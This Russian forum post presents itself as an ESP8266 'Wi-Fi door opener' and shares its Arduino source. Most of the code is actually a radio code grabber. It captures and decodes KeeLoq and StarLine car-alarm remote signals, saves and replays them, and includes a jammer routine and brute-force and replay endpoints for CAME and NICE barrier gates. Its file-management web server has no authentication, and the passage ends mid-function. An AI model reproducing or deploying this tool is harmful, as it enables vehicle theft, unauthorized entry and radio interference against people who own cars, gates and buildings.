радио открыватель двери, вместо домофона,прописывается пульт от машины ,открывается в радиусе 1км,с дивана сейчас открываю свою дверь
принцип работы или с радио брелка ,или подключаетесь к вай фай дверь и открываете её с адресса
,вот исходник
Код: Выбрать все
#include "FS.h"
#include <ArduinoJson.h>
const char* filename = "/data.json";
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <EEPROM.h>
#define DBG_OUTPUT_PORT Serial
#include <ESP8266mDNS.h>
ESP8266WebServer server(80);
const char* host = "King-Grabber";
File fsUploadFile;
String getContentType(String filename) {
if (server.hasArg("download")) return "application/octet-stream";
else if (filename.endsWith(".htm")) return "text/html";
//// else if(filename.endsWith(".html")) return "text/html";
else if (filename.endsWith(".css")) return "text/css";
else if (filename.endsWith(".js")) return "application/javascript";
else if (filename.endsWith(".png")) return "image/png";
else if (filename.endsWith(".gif")) return "image/gif";
else if (filename.endsWith(".jpg")) return "image/jpeg";
////else if(filename.endsWith(".ico")) return "image/x-icon";
else if (filename.endsWith(".xml")) return "text/xml";
else if (filename.endsWith(".pdf")) return "application/x-pdf";
else if (filename.endsWith(".zip")) return "application/x-zip";
else if (filename.endsWith(".gz")) return "application/x-gzip";
return "text/plain";
}
bool handleFileRead(String path) {
DBG_OUTPUT_PORT.println("handleFileRead: " + path);
if (path.endsWith("/")) path += "index.htm";
String contentType = getContentType(path);
String pathWithGz = path + ".gz";
if (SPIFFS.exists(pathWithGz) || SPIFFS.exists(path)) {
if (SPIFFS.exists(pathWithGz))
path += ".gz";
File file = SPIFFS.open(path, "r");
server.streamFile(file, contentType);
file.close();
return true;
}
return false;
}
void handleFileList() {
if (!server.hasArg("dir")) {
server.send(500, "text/plain", "BAD ARGS");
return;
}
String path = server.arg("dir");
DBG_OUTPUT_PORT.println("handleFileList: " + path);
Dir dir = SPIFFS.openDir(path);
path = String();
String output = "[";
while (dir.next()) {
File entry = dir.openFile("r");
if (output != "[") output += ',';
bool isDir = false;
output += "{\"type\":\"";
output += (isDir) ? "dir" : "file";
output += "\",\"name\":\"";
output += String(entry.name()).substring(1);
output += "\"}";
entry.close();
}
output += "]";
server.send(200, "text/json", output);
}
void handleFileUpload() {
if (server.uri() != "/edit") return;
HTTPUpload& upload = server.upload();
if (upload.status == UPLOAD_FILE_START) {
String filename = upload.filename;
if (!filename.startsWith("/")) filename = "/" + filename;
DBG_OUTPUT_PORT.print("handleFileUpload Name: "); DBG_OUTPUT_PORT.println(filename);
fsUploadFile = SPIFFS.open(filename, "w");
filename = String();
} else if (upload.status == UPLOAD_FILE_WRITE) {
//DBG_OUTPUT_PORT.print("handleFileUpload Data: "); DBG_OUTPUT_PORT.println(upload.currentSize);
if (fsUploadFile)
fsUploadFile.write(upload.buf, upload.currentSize);
} else if (upload.status == UPLOAD_FILE_END) {
if (fsUploadFile)
fsUploadFile.close();
DBG_OUTPUT_PORT.print("handleFileUpload Size: "); DBG_OUTPUT_PORT.println(upload.totalSize);
}
}
void handleFileDelete() {
if (server.args() == 0) return server.send(500, "text/plain", "BAD ARGS");
String path = server.arg(0);
DBG_OUTPUT_PORT.println("handleFileDelete: " + path);
if (path == "/")
return server.send(500, "text/plain", "BAD PATH");
if (!SPIFFS.exists(path))
return server.send(404, "text/plain", "FileNotFound");
SPIFFS.remove(path);
server.send(200, "text/plain", "");
path = String();
}
void handleFileCreate() {
if (server.args() == 0)
return server.send(500, "text/plain", "BAD ARGS");
String path = server.arg(0);
DBG_OUTPUT_PORT.println("handleFileCreate: " + path);
if (path == "/")
return server.send(500, "text/plain", "BAD PATH");
if (SPIFFS.exists(path))
return server.send(500, "text/plain", "FILE EXISTS");
File file = SPIFFS.open(path, "w");
if (file)
file.close();
else
return server.send(500, "text/plain", "CREATE FAILED");
server.send(200, "text/plain", "");
path = String();
}
//format bytes
String formatBytes(size_t bytes) {
if (bytes < 1024) {
return String(bytes) + "B";
} else if (bytes < (1024 * 1024)) {
return String(bytes / 1024.0) + "KB";
} else if (bytes < (1024 * 1024 * 1024)) {
return String(bytes / 1024.0 / 1024.0) + "MB";
} else {
return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
}
}
void Spif() {
DBG_OUTPUT_PORT.begin(115200);
DBG_OUTPUT_PORT.print("\n");
DBG_OUTPUT_PORT.setDebugOutput(true);
SPIFFS.begin();
{
Dir dir = SPIFFS.openDir("/");
while (dir.next()) {
String fileName = dir.fileName();
size_t fileSize = dir.fileSize();
DBG_OUTPUT_PORT.printf("FS File: %s, size: %s\n", fileName.c_str(), formatBytes(fileSize).c_str());
}
DBG_OUTPUT_PORT.printf("\n");
}
//WIFI INIT
/// DBG_OUTPUT_PORT.printf("Connecting to %s\n", ssid);
/// if (String(WiFi.SSID()) != String(ssid)) {
/// WiFi.mode(WIFI_STA);
/// WiFi.begin(ssid, password);
//// }
///while (WiFi.status() != WL_CONNECTED) {
/// delay(500);
/// DBG_OUTPUT_PORT.print(".");
///// }
DBG_OUTPUT_PORT.println("");
DBG_OUTPUT_PORT.print("Connected! IP address: ");
DBG_OUTPUT_PORT.println(WiFi.localIP());
MDNS.begin(host);
DBG_OUTPUT_PORT.print("Open http://");
DBG_OUTPUT_PORT.print(host);
DBG_OUTPUT_PORT.println(".local/edit to see the file browser");
//SERVER INIT
//list directory
server.on("/list", HTTP_GET, handleFileList);
//load editor
server.on("/edit", HTTP_GET, []() {
if (!handleFileRead("/edit.htm")) server.send(404, "text/plain", "FileNotFound");
});
//create file
server.on("/edit", HTTP_PUT, handleFileCreate);
//delete file
server.on("/edit", HTTP_DELETE, handleFileDelete);
//first callback is called after the request has ended with all parsed arguments
//second callback handles file uploads at that location
server.on("/edit", HTTP_POST, []() {
server.send(200, "text/plain", "");
}, handleFileUpload);
//called when the url is not defined here
//use it to load content from SPIFFS
server.onNotFound([]() {
if (!handleFileRead(server.uri()))
server.send(404, "text/plain", "FileNotFound");
});
//get heap status, analog input value and all GPIO statuses in one json call
server.on("/all", HTTP_GET, []() {
String json = "{";
json += "\"heap\":" + String(ESP.getFreeHeap());
json += ", \"analog\":" + String(analogRead(A0));
json += ", \"gpio\":" + String((uint32_t)(((GPI | GPO) & 0xFFFF) | ((GP16I & 0x01) << 16)));
json += "}";
server.send(200, "text/json", json);
json = String();
});
server.begin();
DBG_OUTPUT_PORT.println("HTTP server started");
}
////ESP8266WebServer server(80);
const char* ssid2 = "DWER-GANSTA-PARADISE"; //название точки доступа
const char* password2 = "83219PETROVICH"; // пароль не будем писать
///const char* ssid="Gansta-Paradise.com"; // здесь пишем название домашней точки доступа
////const char* password="123412345"; // и пароль
String webSite, javaScript, XML;
unsigned long wait000 = 0UL, wait001 = 1000UL, wait003 = 1000UL;
int Sila, SilaLow = -43; // Контроль силы сигнала WiFi
int Batareya, BatLow = 400; //Контроль напряжения батареи
float Povorot = 0.8, Trimer; // Переменные для значений поворота и тримера двигателя
String Bat, SilaW;
////brut shlak;
volatile static long send_code_brut = 1000;
/////////////////////radio/////////////////////////////////////////////////////////////////////////////////////////////////
int fug;
int fug1;
int fug2;
int fug22;
int fug4;
int fug41;
int fug42;
int fug422;
int stoppriem = 1;
int fug3;
int fug31;
int fug32;
int fug322;
/////////////////////////////////////////////////////parol
int kiop3 = 0;
int pam = 50;
int passwordkg[6] = {8, 3, 2, 1, 9, 0};
int parolking = 0;
int parolvvod[6] = {0, 0, 0, 0, 0, 0};
int i1p = 0;
int yach = 0;
int send_codekg = 0;
int send_codezoy = 0;
int send_code = 1;
int yacheyka = 0;
///////////////////////////////////////////////////////////////////////
int starres = 0;
int pakiweb = 0;
int bitnumber = 0;
int shirt = 0;
//wifii&server end/////////////////////////////////////
//menu
boolean backlight = true;
int contrast = 50;
int kiop = 0;
int menuitem = 1;
int page = 1;
int pagero = 0;
int smena = 1;//smena sig
volatile boolean up = false;
volatile boolean down = false;
volatile boolean middle = false;
int downButtonState = 0;
int upButtonState = 0;
int selectButtonState = 0;
int lastDownButtonState = 0;
int lastSelectButtonState = 0;
int lastUpButtonState = 0;
//menu end
#define rxPin D7 //d7
///#define migon D2
#define TX D5 //d6
#define fugabum D6 //d6
int ing = 0;
int starlineCounter = 0;
int starlinePreambula = 0;
static long StarLineCode1 = 0; // first part
static long StarLineCode2 = 0; // last part
static long invertStarLineCode1 = 0; // first part
static long invertStarLineCode2 = 0; // last part
String code = "";
boolean bValidPacket = false;
int decodeMethod = 1;
int lastRxValue = 0;
int tempRxValue = 0;
unsigned long lastRxTime = 0;
unsigned long tempTime = 0;
//keeloq
int keeloqHeader = 0;
int keeloqCounter = 0;
int starlineZCounter = 0;
int starlineZpreambulaCounter = 0;
int keeloqPreambula = 0;
int stralineHeader = 0;
static long keeloqCode1 = 0; // first part
static long keeloqCode2 = 0; // last part
static long invertkeeloqCode1 = 0; // first part
static long invertkeeloqCode2 = 0; // last part
String keecode = "";
boolean keebValidPacket = false;
int keelastRxValue = 0;
int keetempRxValue = 0;
unsigned long keelastRxTime = 0;
unsigned long keetempTime = 0;
//пробуем выброс
//keelog start
unsigned long difTime = 0;
unsigned long difTime2 = 0;
int keelog_state = 0;
int keelogCounter = 0;
byte keelog_code[9];
byte keelog_codePAK2[9];
byte keelog_codePAK1[9];
byte hugaz[9];
byte hugazk[9];
byte hugazi[9];
byte starline_code[9];
byte starline_codePAK2[9];
byte starline_codePAK1[9];
byte webpak2[9];
byte webpak1[9];
int starline_state = 0;
byte kefang[9];
byte starline_codePAK2zapis[9];
byte starline_codePAK1zapis[9];
byte starline_codePAK2zapisSBTR[9];
byte starline_codePAK1zapisSBTR[9];
byte keelog_codePAK2zapis[9];
byte keelog_codePAK1zapis[9];
byte keelog_codePAK2zapisSBTR[9];
byte keelog_codePAK1zapisSBTR[9];
byte hugazS[9];
byte hugaziS[9];
byte hugazK[9];
byte hugaziK[9];
int zoro = 1;
/////////////////////////////////////////////////VVODNIE
byte VVOD1[9];
byte VVOD2[9];
String readString;
// --------------------
byte CODE[8];
int x = 0;
int k = 0; //schet keeloq
int kk = 0; //shet star line
int starkk = 0;
String codan = "Scanning begin";
volatile static long codsh;
String codan2 = "not code";
String codan1 = "not code";
String priem = "0";
String sending = "nothing no send";
String button = "";
String gasa = "zagasa";
#include "shlak.h" //shlakbaums
#include "nice.h" //shlakbaums
int shlakoffpriem = 1;
int stopsigi = 1;
void codanz() {
codan;
}
void prepareFile() {
Serial.println("Prepare file system");
SPIFFS.begin();
File file = SPIFFS.open("/1.txt", "r");
if (!file) {
Serial.println("file open failed!");
} else {
Serial.println("file open success:)");
while (file.available()) {
Serial.write(file.read());
}
file.close();
}
}
void Batare() {
/// Batareya = 333666; // Меряем напряжение батареи
}
void SilaWifi() {
Sila = WiFi.RSSI(); // Меряем силу сигнала WiFi
if (Sila < SilaLow) {
SilaW = " Сигнал слабый";
}
else {
SilaW = "";
}
}
void buildJavascript() {
javaScript = "<SCRIPT>\n";
javaScript += "xmlHttp=createXmlHttpObject();\n";
javaScript += "function createXmlHttpObject(){\n";
javaScript += " if(window.XMLHttpRequest){\n";
javaScript += " xmlHttp=new XMLHttpRequest();\n";
javaScript += " }else{\n";
javaScript += " xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');\n";
javaScript += " }\n";
javaScript += " return xmlHttp;\n";
javaScript += "}\n";
javaScript += "function process(){\n";
javaScript += " if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
javaScript += " xmlHttp.onreadystatechange=function(){\n";
javaScript += " if(xmlHttp.readyState==4&&xmlHttp.status==200){\n";
javaScript += " xmlDoc=xmlHttp.responseXML;\n";
javaScript += " xmlmsg=xmlDoc.getElementsByTagName('millistime')[0].firstChild.nodeValue;\n";
//// javaScript+=" document.getElementById('Priem').innerHTML=xmlmsg;\n";
javaScript += " var pri = xmlDoc.getElementsByTagName('Priem')[0].firstChild.nodeValue;if(pri>332){var audio = new Audio('/gun0.mp3'); audio.play();pri=0;};";
javaScript += " document.getElementById('runtime').innerHTML=xmlmsg;\n"; // Добавляем наши данные
javaScript += " xmlmsg=xmlDoc.getElementsByTagName('Sila')[0].firstChild.nodeValue;\n"; // Сила сигнала WiFi
javaScript += " document.getElementById('Sila').innerHTML=xmlmsg;\n"; // Сила сигнала WiFi
javaScript += " xmlmsg=xmlDoc.getElementsByTagName('Batareya')[0].firstChild.nodeValue;\n"; // Напряжение батареи
javaScript += " document.getElementById('Batareya').innerHTML=xmlmsg;\n"; // Напряжение батареи
javaScript += " xmlmsg=xmlDoc.getElementsByTagName('sending')[0].firstChild.nodeValue;\n"; //
javaScript += " document.getElementById('sending').innerHTML=xmlmsg;\n"; // посылка кода
javaScript += " xmlmsg=xmlDoc.getElementsByTagName('Paket')[0].firstChild.nodeValue;\n";
javaScript += " document.getElementById('Paket').innerHTML=xmlmsg;\n";
javaScript += " xmlmsg=xmlDoc.getElementsByTagName('Paket1')[0].firstChild.nodeValue;\n";
javaScript += " document.getElementById('Paket1').innerHTML=xmlmsg;\n";
javaScript += " xmlmsg=xmlDoc.getElementsByTagName('button')[0].firstChild.nodeValue;\n"; // knop
//// javaScript+=" document.getElementById('button').innerHTML=xmlmsg;\n"; // knop
javaScript += " document.getElementById('button').onclick = function (button) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket2On',true);xmlhttp.send();var audio = new Audio('/gun0.mp3'); audio.play()};" ;
//javaScript+=" document.getElementById('buz').onclick = function (buz) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket2Off',true);xmlhttp.send();};" ;
//javaScript+=" document.getElementById('kee1').onclick = function (kee1) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket1On',true);xmlhttp.send();};" ;
//javaScript+=" document.getElementById('kee2').onclick = function (kee2) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/socket1Off',true);xmlhttp.send();};" ;
//javaScript+=" document.getElementById('brut_g').onclick = function (brut_g) { xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','/brut_g',true);xmlhttp.send();};" ;
//// javaScript+=" var button =1; if (button==1){alert('Пошел на хуй');button++;alert(button);} };";
javaScript += " }\n";
javaScript += " }\n";
javaScript += " xmlHttp.open('PUT','xml',true);\n";
javaScript += " xmlHttp.send(null);\n";
javaScript += " }\n";
javaScript += " setTimeout('process()',100);\n";
javaScript += "}\n";
javaScript += "function PutXML(){\n";
/// javaScript+=" var senk =document.getElementById('sending').value;\n";
///javaScript+=" document.getElementById('sending').innerHTML=sliderVal;\n";
/// javaScript+=" document.getElementById('ESPval'+cnt).innerHTML=9*(100-sliderVal)+100;\n";
/// javaScript+=" if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
/// javaScript+=" xmlHttp.open('PUT','xml',true);\n";
/// javaScript+=" xmlHttp.send(null);\n";
/// javaScript+=" }\n";
javaScript += "}\n";
/////////// javaScript+="</SCRIPT>\n";
javaScript += "function writetofile(){\n";
/// javaScript+=" var fso, tf;";
///javaScript+=" fso = new ActiveXObject('Scripting.FileSystemObject'); ";
/// javaScript+=" tf = fso.CreateTextFile('E:\1.txt', true);";
///javaScript+=" tf.WriteLine('Testing 1, 2, 3.') ; ";
/// javaScript+=" tf.Write ('This is a test.');tf.Close();";
/// javaScript+=" xmlHttp.send(null);\n";
/// javaScript+=" }\n";
javaScript += "}\n";
javaScript += "</SCRIPT>\n";
}
void buildWebsite() { // Создаём страницу с элементами управления
buildJavascript();
webSite = "<!DOCTYPE HTML>\n";
webSite += "<META name='viewport' content='width=device-width, initial-scale=1', charset=\"utf-8\">\n";
webSite += "<link rel='shortcut icon' type='image/x-icon' href='/favicon.ico'>";
webSite += "<style> #Paket{color:green}button{border: solid;border-radius: 300px;border-color: green;font-size: 15px;font-family: -webkit-pictograph;background: #d5e0d3;width: 155px; outline: none;}button:hover{border: solid;border-radius: 300px;border-color: pink;font-size: 15px;font-family: -webkit-pictograph;background: #d5e0d3;width: 155px;}input#button_s {border: double;border-color: green; border-radius: 30px;} input#input1 { width: 90%; height: 20px; border-radius: 30px; padding: 5px;}input#input2 { width: 90%; height: 20px; border-radius: 30px; padding: 5px;}}</style>";
webSite += javaScript;
webSite += "<BODY onload='process()'>\n";
webSite += "WifiDWER\n<br>";
webSite += "Время работы = <A ID='runtime'></A>\n<br>";
webSite += "Сила сигнала <A ID='Sila'></A>\n<br>"; // Сила сигнала WiFi
webSite += "CodeGrabing<br> <A ID='Batareya'></A>\n<br>"; // Напряжение батареи
webSite += "Пакет2:<A ID='Paket'></A>\n<br>"; // Напряжение батареи
webSite += "Пакет1:<A ID='Paket1'></A>\n<br>"; // Напряжение батареи
/// webSite+="<TABLE BORDER=1 width='700' height='100' style='text-align:center;border-collapse:collapse'>\n";
// webSite+="<INPUT ' TYPE='range' width='600'> \n"; // это пример слайдера
webSite += "<table><tr>";
webSite += "<td><button id='button' onclick='doFunction();'>ОТКРЫТЬ (OPEN)\n";
webSite += "</button></td></tr></table>";
webSite += "<div id='sending'>\n";
webSite += "</div>\n";
webSite += "<img id='logotip' src='/logonofon.png'>";
//// webSite+="<p>OTPRAVITI COD STARLINE <a href=\"socket2On\"><button>PAK1</button></a> <a href=\"socket2Off\"><button>PAK2</button></a></p><br>";
/// webSite+="<p>OTPRAVITI COD KEELOQ <a href=\"socket1On\"><button>PAK1</button></a> <a href=\"socket1Off\"><button>PAK2</button></a></p><br>";
// webSite+="<p>PRIEM</p><table><tr><td> <a href=\"socket3On\"><button>ON</button></a></td><td><a href=\"socket3Off\"><button>OFF</button></a></td></tr></table><br>";
// webSite+="<p>SEND SHLAK </p> <table><tr><td><a href=\"ShlakSend\"><button>SendShlakCode</button></a></td><td><a href=\"ShlakSendOff\"><button>OFF</button></a></td></tr></table><br>";
// webSite+="<p>StopSigi</p> <table><tr><td><a href=\"StopSigi\"><button>StopSigi</button></a></td><td><a href=\"StatSigi\"><button>StartSigi</button></a></td></tr></table><br>";
// webSite+="<p>BRUTSHLAK</p><table><tr><td> <a href=\"ShlakOn\"><button>BRUT1</button></a></td><td><a href=\"BrutSh2\"><button>BRUT2</button></a></td></tr><br>";
// webSite+="<tr><td><button id='brut_g' onclick='doFunction();'>BRUTSHLAK_G\n";
// webSite+="</button></td></tr></table>";
//
//
// webSite+=" <p>ВЫброс шлакоёбов GAME</p><br>";
//
// webSite+=" <form action=\"GETS\" method=\"GET\">";
// webSite+=" <input type=\"text\" name=\"name\" minlength=\"4\" maxlength=\"4\" value=\"0001\" id=\"input1\"/><br><br>";
// //////// webSite+=" <input type=\"text\" name=\"count\" id=\"input2\"/><br>";
// webSite+=" <input type=\"submit\" value=\"SEND\" id=\"button_s\"/>";
// webSite+=" </form> ";
//
//
// webSite+=" <p>ВЫброс шлакоёбов NICE</p><br>";
//
// webSite+=" <form id=\"form2\" action=\"GETSN\" method=\"GET\">";
// webSite+=" <input type=\"text\" name=\"name\" minlength=\"8\" maxlength=\"8\" value=\"10130001\" id=\"input1\"/><br><br>";
// ///// webSite+=" <input type=\"text\" name=\"count\" id=\"input2\"/><br>";
// webSite+=" <input type=\"submit\" value=\"SEND\" id=\"button_s\"/>";
// webSite+=" </form> ";
webSite += "</BODY>\n";
webSite += "</HTML>\n";
}
String millis2time() { // преобразование милисекунд в вид ч/м/с
String Time = "";
unsigned long ss;
byte mm, hh;
ss = millis() / 1000;
hh = ss / 3600;
mm = (ss - hh * 3600) / 60;
ss = (ss - hh * 3600) - mm * 60;
if (hh < 10)Time += "0";
Time += (String)hh + ":";
if (mm < 10)Time += "0";
Time += (String)mm + ":";
if (ss < 10)Time += "0";
Time += (String)ss;
return Time;
}
void buildXML() {
XML = "<?xml version='1.0'?>";
XML += "<xml>";
XML += "<millistime>";
XML += millis2time();
XML += "</millistime>"; // Добавляем наши данные
SilaWifi(); // Здесь измеряем силу сигнала
XML += "<Sila>"; // Сила сигнала WiFi
XML += String(Sila) + SilaW; // Сила сигнала WiFi
XML += "</Sila>"; // Сила сигнала WiFi
codanz();
/// startgrabber(); ////code
XML += "<Batareya>";
////XML+="<br>";
XML += String(codan);
XML += "</Batareya>";
XML += "<Paket>";
XML += String(codan2);
XML += "</Paket>";
XML += "<Paket1>";
XML += String(codan1);
XML += "</Paket1>";
XML += "<Priem>";
XML += String(priem);
XML += "</Priem>";
XML += "<button>";
XML += String(button) + "button send";
XML += "</button>";
XML += "<button2>";
XML += String(button) + "button send";
XML += "</button2>";
XML += "<sending>";
XML += String(sending);
XML += "</sending>";
XML += "<senk>";
XML += String("seva");
XML += "</senk>";
XML += "</xml>";
}
void handleWebsite() {
buildWebsite();
server.send(200, "text/html", webSite);
}
void handleXML() {
buildXML();
server.send(200, "text/xml", XML);
}
void handleESPval() {
/// int sliderCNT=server.arg("Batareya");
String button3243 = server.arg("codan");
Serial.println(button3243);
buildXML();
server.send(200, "text/xml", XML);
}
void setup() {
ESP.wdtDisable();
/////while (1){};
/////ESP.wdtEnable(1000000);
/////////////////spifs
//Initialize File System
//////////////////////////
EEPROM.begin(3512);
Serial.begin(115200);
pinMode(TX, OUTPUT);
pinMode(D6, OUTPUT);
//// pinMode(migon, OUTPUT);
pinMode(rxPin, INPUT);
digitalWrite(fugabum, LOW);
prepareFile();
lastRxValue = digitalRead(rxPin);
lastRxTime = micros();
//kee
//// migon = digitalRead(rxPin);
keelastRxValue = digitalRead(rxPin);
keelastRxTime = micros();
//// delay(1000);
/// WiFi.softAPdisconnect();
/// WiFi.disconnect();
WiFi.softAP(ssid2, password2); // Создаём точку доступа
///// WiFi.begin(ssid,password); //Это вариант для подключения к существующей точке
// while(WiFi.status()!=WL_CONNECTED)delay(500);
///WiFi.mode(WIFI_STA);
Spif();
Serial.println("\n\nBOOTING ESP8266 ...");
Serial.print("Connected to ");
Serial.println(ssid2);
Serial.print("Station IP address: ");
Serial.println(WiFi.softAPIP());
////Serial.println(WiFi.localIP()); // Вывод в монитор порта присвоенный IP
server.on("/", handleWebsite);
server.on("/xml", handleXML);
server.on("/setESPval", handleESPval);
server.on("/socket1On", []() {
server.send(200, "text/html", webSite);
Serial.println("\n\nBOOTING ESP8266 shlremm ...");
posilkeeloq1();
});
server.on("/socket1Off", []() {
server.send(200, "text/html", webSite);
Serial.println("\n\nBOOTING ESP8266ddgdg ...");
posilkeeloq2();
});
server.on("/socket2On", []() {
sending = "openDOOR";
server.send(200, "text/html", webSite);
Serial.println("OPENING...");
////posilstarline1();
opendver();
sending = "closed-DOOR";
});
server.on("/socket2Off", []() {
server.send(200, "text/html", webSite);
Serial.println(" star paket2...");
posilstarline2();
});
server.on("/socket3On", []() {
server.send(200, "text/html", webSite);
Serial.println("priem on");
stoppriem = 1;
});
server.on("/socket3Off", []() {
server.send(200, "text/html", webSite);
Serial.println(" priem off");
stoppriem = 0;
});
server.on("/brut_g", []() {
server.send(200, "text/html", webSite);
Serial.println("\n\nBryt_g ...");
brutshlakgansta();
});
///////////////////////////////////////////////////////////////////////////////////new
/////////////sigi/////////////////////////////
///////server.on("/GETS", HTTP_GET, []{
server.on("/StopSigi", []() {
server.send(200, "text/html", webSite);
Serial.println("priem on");
sending = "Sigi-Scaning-OFF";
stopsigi = 0;
});
server.on("/StatSigi", []() {
server.send(200, "text/html", webSite);
Serial.println("priem on");
sending = "Sigi-Scaning-ONN";
stopsigi = 1;
});
////////////////////////////////////////////////////////////////////
server.on("/GETS", []() {
Serial.println("SEND SHLAK CODE");
String message = "";
message += server.arg(0);
////for (int i = 0; i < server.args(); i++) {
////message += "Arg nº" + (String)i + " –> ";
////message += server.argName(i) + ": ";
////message += server.arg(i) + "\n";
///Serial.println(message);
////}
Serial.println(message);
SendCame4(message.toInt());
sending = "Shlak-send:" + message;
server.send(200, "text/html", webSite);
});
///////////////////NICE///////////////////////
server.on("/GETSN", []() {
Serial.println("SEND SHLAK CODE NICE");
String message = "";
message += server.arg(0);
////for (int i = 0; i < server.args(); i++) {
////message += "Arg nº" + (String)i + " –> ";
////message += server.argName(i) + ": ";
////message += server.arg(i) + "\n";
///Serial.println(message);
////}
Serial.println(message);
SendNice(message.toInt());
sending = "Shlak-nice-send:" + message;
server.send(200, "text/html", webSite);
});
/////////////shlaprisend
server.on("/ShlakSend", []() {
EEPROM.begin(3512);
codsh = EEPROM_long_read(3000);
EEPROM.commit();
EEPROM.end();
SendCame4(codsh);
/////sending ="Shlak-send:"+String(lastCode);
byte zur [4] ;
long codsh1 = codsh;
for (int i = 0; i < 4; i++) {
zur[i] = codsh1 % 10;
codsh1 /= 10;
Serial.println(zur[i], HEX);
////int huypo = bitRead(zur[i], i);
//// Serial.println(huypo);
}
sending = "Shlak-send:" + String(codsh);
Serial.println(" Send Shlak code:" );
Serial.println(codsh, HEX);
Serial.println(codsh, BIN);
Serial.println(zur[0], HEX);
Serial.println(zur[1], HEX);
Serial.println(zur[2], HEX);
Serial.println(zur[3], HEX);
server.send(200, "text/html", webSite);
});
//////////////////////////////
///////////brutshlak
server.on("/ShlakOn", []() {
sending = "Shlak-Brut-Long-Wait";
Serial.println(" Send Shlak code");
server.send(200, "text/html", webSite);
brutshlak();
/////BrutSh2
});
server.on("/BrutSh2", []() {
sending = "Shlak-Brut-Long-Wait";
Serial.println(" Send Shlak code");
server.send(200, "text/html", webSite);
brutshlak2();
/////BrutSh2
});
//////////////////
//////////ShlakSendOff
server.on("/ShlakSendOff", []() {
shlakoffpriem = ~shlakoffpriem;
if (shlakoffpriem == 1) {
sending = "Shlak-Scaning-ONN";
}
else {
Serial.println(" Shlak-Scaning-OFF");
sending = "Shlak-Scaning-OFF";
}
server.send(200, "text/html", webSite);
});
//////////////////
server.begin();
}
void loop() {
ESP.wdtFeed();
server.handleClient();
if (stoppriem == 1) {
startgrabber();
}
if (millis() > wait000) {
buildXML();
wait000 = millis() + 1000UL;
}
if (millis() > wait001) {
wait001 = millis() + 300; //Обновляем значения раз в 300 милисекунд
}
if (millis() > wait003) {
wait003 = millis() + 1000;
priem = "0";
}
}
////////////////////radio
void send_meander(int time)//pra meandr
{
digitalWrite(TX, HIGH);
delayMicroseconds(time);
digitalWrite(TX, LOW);
delayMicroseconds(time);
}
void SendStarlinePreambula()
{
for (byte i = 0; i <= 10; i++)
send_meander(1000);
}
void SendStarlineBit(byte b)
{
if (b)
send_meander(250); // 1
else
send_meander(500); // 0
}
void SendStarline(unsigned char *TCODE, unsigned int S)
{
for (int j = 0; j < 10; j++) // посылку посылаем как и брелок - 10 раз подряд.
{
SendStarlinePreambula(); // посылаем преамбулу
for (byte i = 0; i < S; i++) // перебор масива (8 x 8 = 64 bits)
{
for (int x = 0; x < 8; x++) {
SendStarlineBit(!bitRead(TCODE[i], x)); // побитово перебираем, инвертируе и посылаем код
}
}
}
digitalWrite(TX, HIGH);
}
// Keeloq ----------------------------------------------
void SendKeeloqPreambula()
{
for (byte i = 0; i < 23; i++)
send_meander(400);
}
void SendKeeloq(unsigned char *TCODE)
{
signed char a;
SendKeeloqPreambula();
digitalWrite(TX, LOW);
delayMicroseconds(10 * 400);
for (a = 0; a < 66; a++)
{
digitalWrite(TX, HIGH);
delayMicroseconds(400);
if (TCODE[a / 8] & (1 << (a % 8))) digitalWrite(TX, LOW);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
delay(16);
}
//---------------------------------------------------------
void Jammer() {
for (int i = 200; i > 0; i--) {
digitalWrite(TX, LOW);
delay(20);
digitalWrite(TX, HIGH);
delay(20);
}
}
void SendStarline2(long StarLineCode2, long StarLineCode1 )
{ for (int j = 0; j < 10; j++) // посылку посылаем как и брелок - 10 раз подряд.
{ for (byte i = 0; i < 6; i++)
{
digitalWrite(TX, HIGH); // посылаем высокий
delay(1); // ждём указанное время
digitalWrite(TX, LOW); // посылаем низкий
delay(1);
}
}
delay(1); // сделать паузу после посылки на 1 мс, просто так...
}
//muzonchik
//keeloq////////////////////////////////////////////////KEEEEEEEEEEEEEEELOOOOQ//////////////////////////////////////////////////////////////////////////
void keelog_vardump() {
if (decodeMethod == 0) {
Serial.println(" - keelog origin - ");
}
else {
Serial.println(" - keelog invert - ");
}
Serial.print(keelog_code[0], HEX);
Serial.print(keelog_code[1], HEX);
Serial.print(keelog_code[2], HEX);
Serial.print(keelog_code[3], HEX);
Serial.println("-hop");
Serial.print(keelog_code[4], HEX);
Serial.print(keelog_code[5], HEX);
Serial.print(keelog_code[6], HEX);
Serial.println("-fix");
Serial.print(keelog_code[7], HEX);
Serial.println("-btn");
Serial.print(keelog_code[8], HEX);
Serial.println("-dop");
priem = "333";
codan = "code keqloq:" + String(keelog_code[0], HEX);
codan = codan + String(keelog_code[1], HEX);
codan = codan + String(keelog_code[2], HEX);
codan = codan + String(keelog_code[3], HEX);
codan = codan + "-hop-";
codan = codan + String(keelog_code[4], HEX);
codan = codan + String(keelog_code[5], HEX);
codan = codan + String(keelog_code[6], HEX);
codan = codan + "-fix-";
codan = codan + String(keelog_code[7], HEX);
codan = codan + "-btn-";
codan = codan + String(keelog_code[8], HEX);
Serial.println(codan);
smena = 10;
//eprom
// EEPROM.begin(3512);
if (k < 2) {
EEPROM.begin(3512);
EEPROM.write(0, keelog_code[0]);
EEPROM.write(1, keelog_code[1]);
EEPROM.write(2, keelog_code[2]);
EEPROM.write(3, keelog_code[3]);
EEPROM.write(4, keelog_code[4]); ///fix
EEPROM.write(5, keelog_code[5]); ///fix
EEPROM.write(6, keelog_code[6]); //fix
EEPROM.write(7, keelog_code[7]);
EEPROM.write(8, keelog_code[8]);
EEPROM.commit();
EEPROM.end();
k ++;
EEPROM.begin(3512);
codan1 = "code keqloq:" + String(EEPROM.read(0), HEX);
codan1 = codan1 + String(EEPROM.read(1), HEX);
codan1 = codan1 + String(EEPROM.read(2), HEX);
codan1 = codan1 + String(EEPROM.read(3), HEX);
codan1 = codan1 + "-hop-";
